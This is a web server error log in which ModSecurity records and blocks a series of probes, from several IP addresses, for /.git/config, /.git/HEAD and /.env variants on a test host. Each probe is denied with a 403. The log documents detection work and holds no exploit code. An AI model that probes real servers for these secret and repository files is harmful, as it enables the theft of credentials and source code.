[Wed Oct 29 10:33:49.076638 2025] [:error] [pid 3845157] [client 213.209.157.232:35042] [client 213.209.157.232] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQHffe2YtqWllpCkdJFS9gAAABI&quot;]
[Wed Oct 29 10:33:49.076915 2025] [:error] [pid 3845157] [client 213.209.157.232:35042] [client 213.209.157.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQHffe2YtqWllpCkdJFS9gAAABI&quot;]
[Wed Oct 29 10:33:49.077076 2025] [:error] [pid 3845157] [client 213.209.157.232:35042] [client 213.209.157.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQHffe2YtqWllpCkdJFS9gAAABI&quot;]
[Wed Oct 29 12:06:29.755175 2025] [:error] [pid 3845153] [client 194.26.192.110:60668] [client 194.26.192.110] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQH1NbfF_j471OvRGMpkHQAAAA4&quot;]
[Wed Oct 29 12:06:29.755483 2025] [:error] [pid 3845153] [client 194.26.192.110:60668] [client 194.26.192.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQH1NbfF_j471OvRGMpkHQAAAA4&quot;]
[Wed Oct 29 12:06:29.755638 2025] [:error] [pid 3845153] [client 194.26.192.110:60668] [client 194.26.192.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQH1NbfF_j471OvRGMpkHQAAAA4&quot;]
[Thu Oct 30 00:46:14.844006 2025] [:error] [pid 3867337] [client 213.209.157.232:34142] [client 213.209.157.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQKnRusCMeR1RCutg6zWDgAAAD8&quot;]
[Thu Oct 30 00:46:14.844290 2025] [:error] [pid 3867337] [client 213.209.157.232:34142] [client 213.209.157.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQKnRusCMeR1RCutg6zWDgAAAD8&quot;]
[Thu Oct 30 00:46:14.844459 2025] [:error] [pid 3867337] [client 213.209.157.232:34142] [client 213.209.157.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQKnRusCMeR1RCutg6zWDgAAAD8&quot;]
[Thu Oct 30 00:47:38.816203 2025] [:error] [pid 3867663] [client 93.123.109.7:46914] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQKnmtAtDOgwNHCdapXJAQAAAAI&quot;]
[Thu Oct 30 00:47:38.816482 2025] [:error] [pid 3867663] [client 93.123.109.7:46914] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQKnmtAtDOgwNHCdapXJAQAAAAI&quot;]
[Thu Oct 30 00:47:38.816663 2025] [:error] [pid 3867663] [client 93.123.109.7:46914] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQKnmtAtDOgwNHCdapXJAQAAAAI&quot;]
[Thu Oct 30 06:09:20.637199 2025] [:error] [pid 3870136] [client 45.130.203.166:29933] [client 45.130.203.166] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aQLzAPFCkTIbr0l-MPaXrAAAAAM&quot;]
[Thu Oct 30 06:09:20.637449 2025] [:error] [pid 3870136] [client 45.130.203.166:29933] [client 45.130.203.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aQLzAPFCkTIbr0l-MPaXrAAAAAM&quot;]
[Thu Oct 30 06:09:20.637632 2025] [:error] [pid 3870136] [client 45.130.203.166:29933] [client 45.130.203.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aQLzAPFCkTIbr0l-MPaXrAAAAAM&quot;]
[Thu Oct 30 20:06:28.283116 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:28.283393 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:28.283573 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:28.859775 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:28.860048 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:28.860244 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3NJdseHRrfd8_FeKITgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.424739 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKITwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.425096 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKITwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.425331 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKITwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.989802 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKIUAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.990093 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKIUAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:29.990300 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aQO3NZdseHRrfd8_FeKIUAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:30.617260 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3NpdseHRrfd8_FeKIUQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:30.617520 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3NpdseHRrfd8_FeKIUQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:30.617729 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aQO3NpdseHRrfd8_FeKIUQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:31.173172 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:31.173442 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:31.173650 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUgAAAAY&quot;], referer: https://www.google.com/
